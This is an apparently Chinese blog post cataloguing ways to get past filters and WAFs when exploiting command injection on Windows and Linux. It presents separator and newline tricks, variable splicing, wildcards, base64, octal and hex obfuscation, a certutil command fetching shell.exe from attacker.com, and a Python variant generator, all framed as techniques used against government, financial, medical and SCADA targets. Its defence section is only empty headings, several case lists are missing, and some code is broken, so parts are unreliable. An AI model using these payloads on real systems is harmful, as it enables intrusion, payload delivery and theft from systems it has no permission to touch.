远程代码执行(Remote Code Execution)漏洞一直是渗透测试和攻防演练中的"皇冠明珠"。去年某次大型攻防演练中,超过60%的高危漏洞利用最终都指向RCE。不同于简单的信息泄露或权限提升,RCE直接赋予攻击者在目标系统上执行任意命令的能力,相当于拿到了系统的"遥控器"。
在实际渗透中,RCE漏洞利用往往会遇到各种过滤机制。我曾遇到一个案例:某Web应用的命令注入点明明存在,但直接执行whoami却返回空白。后来发现是运维人员部署了自定义的字符过滤规则。这种场景下,就需要掌握系统的绕过技巧才能实现有效利用。
Windows下最经典的绕过方式莫过于利用多种命令分隔符。除了常见的"&"和"|",这些特殊字符在绕过时特别有用:
powershell复制# 测试不同分隔符的效果
echo 123 %0A whoami # 换行符绕过
set var=whoami %26 call %var% # 变量拼接
type file.txt || net user # 利用逻辑运算符
实战经验:在某个政府单位的渗透测试中,前端过滤了"&"和"|",但通过%0D(回车符)成功实现了命令注入。Windows对换行符的解析特性常常被低估。
通过环境变量拼接是Windows绕过的杀手锏。比如这个将whoami拆解的案例:
cmd复制set x=who
set y=ami
call %x%%y%
更隐蔽的做法是利用变量截取:
cmd复制set tmp=abcwhoamide
call %tmp:~3,6%
我曾用这种方法绕过某金融系统的命令过滤,因为他们的WAF只检测完整的危险命令,对拆分后的变量毫无防备。
当常规cmd被禁用时,这些替代方案很有效:
powershell复制# 通过PowerShell执行
powershell -c "Start-Process whoami"
# 利用certutil下载文件
certutil -urlcache -split -f http://attacker.com/shell.exe
在某个医疗系统的测试中,发现服务器禁用了cmd.exe但允许PowerShell,最终通过编码命令成功获取系统权限。
Linux下的命令分隔方式更为丰富:
bash复制# 多种分隔方式测试
cat /etc/passwd; whoami
`echo whoami`
$(echo whoami)
{echo,whoami}
某次对云服务的测试中,发现系统过滤了分号和管道符,但通过%0a换行符成功注入。Linux对空白字符的宽容度往往成为突破点。
Linux的通配符在绕过时特别有用:
bash复制# 使用通配符绕过路径限制
/bin/???/whoami
/usr/bin/[w]hoami
在测试某CMS系统时,其限制了/bin和/usr/bin路径,但通过/???/whoami这样的通配符成功执行命令。
Base64编码是最常用的绕过方式之一:
bash复制echo whoami|base64 # 输出d2hvYW1pCg==
echo d2hvYW1pCg== |base64 -d |bash
更隐蔽的做法是利用变量扩展:
bash复制a=who;b=ami;$a$b
在实际渗透中,流量混淆可以绕过大多数WAF:
python复制# Python实现的命令混淆
import urllib.parse
cmd = "whoami"
print(urllib.parse.quote(cmd)) # URL编码
print("".join(["\\x{:02x}".format(ord(c)) for c in cmd])) # 十六进制编码
某次红队行动中,通过将命令转换为八进制编码$(echo "\167\150\157\141\155\151")成功绕过了某知名WAF的检测。
基于多年防守经验,有效的RCE防御应该包括:
输入验证层:
执行防护层:
监控响应层:
目标系统过滤了所有常见特殊字符,但存在以下特征:
最终利用方式:
bash复制{$(w${xxxxx}ho${xxxxx}ami)}
通过插入随机字符串分割命令,同时利用花括号语法特性,成功绕过防护。
某SCADA系统使用自定义命令解析器,我们发现:
利用方式:
bash复制import os
os.system('cmd1\ncmd2')
通过Python脚本注入换行符实现多命令执行。
基于多次实战经验,我总结出自动化绕过的关键点:
python复制def generate_variants(cmd):
variants = []
# 添加空格变异
variants.append(cmd.replace(" ", "${IFS}"))
# 添加编码变异
variants.append("$(echo "+cmd.encode('hex')+" | xxd -r -p)")
return variants
在最近开发的内网工具中,这种自动化方法使RCE成功率提升了40%。
随着防御技术的进步,新型绕过方式也在演进:
在一次内部研究中,我们通过JPEG文件的EXIF标签注入命令,最终在图片解析环节实现了RCE,这种跨维度的攻击方式正在成为新趋势。